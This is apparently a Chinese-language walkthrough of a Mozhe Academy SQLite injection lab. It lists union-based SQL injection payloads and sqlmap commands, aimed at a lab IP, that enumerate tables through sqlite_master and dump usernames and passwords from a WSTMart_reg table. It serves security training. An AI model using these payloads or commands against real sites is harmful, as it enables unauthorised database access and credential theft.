1. 墨者學院:SQL手工注入漏洞測試(SQLite數據庫)🚀
2. SQLite數據庫注入特點🔍
SQLite數據庫和MySQL數據庫語法不同,不能直接套用MySQL的注入方式。但SQLite有個特殊的數據庫sqlite_master
,它存儲了所有表結構信息,我們可以利用它進行注入測試。sqlite_master
表的結構是固定的,它至少包含以下字段:
字段名 | 數據類型 | 描述 |
---|---|---|
type | TEXT | 對象類型(table 、index 、view 、trigger ) |
name | TEXT | 表名、索引名、視圖名等 |
tbl_name | TEXT | 所屬表名(對索引和觸發器有用) |
rootpage | INTEGER | 在數據庫文件中的存儲位置 |
sql | TEXT | 創建該對象的 SQL 語句 |
所有標準的 SQLite 數據庫都會包含 name
和 sql
字段,因為它們是 SQLite 引擎用來存儲數據庫結構的核心字段。
3. 手工注入測試🎯
測試目標URL:http://124.70.71.251:43066/new_list.php?
3.1 判斷字段數?
id=1 order by 5
3.2 判斷顯示位?
id=1 union select 1,2,3,4
3.3 獲取所有表名?
id=1 union select 1,2,group_concat(name),4 from sqlite_master
3.4 獲取WSTMart_reg表結構?
id=1 union select 1,2,sql,4 from sqlite_master where name='WSTMart_reg'
3.5 獲取WSTMart_reg表數據?
id=1 union select 1,group_concat(name),group_concat(password),4 from WSTMart_reg
4. sqlmap自動化測試🎯
因為得到了數據庫sqlite_master
,sqlmap就可以接著爆破,省去手動測試
4.1 枚舉sqlite_master中的表?
python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master --tables --batch
4.2 枚舉WSTMart_reg表的列?
python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master -T WSTMart_reg --columns --batch
4.3 導出WSTMart_reg表數據?
python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master -T WSTMart_reg -C id,name,password,status --dump --batch
4.4 清理緩存?
python sqlmap.py --purge
該指令用于清除sqlmap的緩存,因為重啟靶場,端口會發生變化,可能獲取到的password是之前的數據,詳細的sqlmap指令獲取如下:
python sqlmap.py -h
5. 總結🏁
- SQLite注入與MySQL注入方式不同,但通過
sqlite_master
系統表可以獲取數據庫結構 - 手工注入步驟:判斷字段數→確定顯示位→獲取表名→獲取表結構→獲取數據
- sqlmap可以自動化完成整個注入過程,效率更高
聲明:本文僅用于安全學習,嚴禁非法測試! ???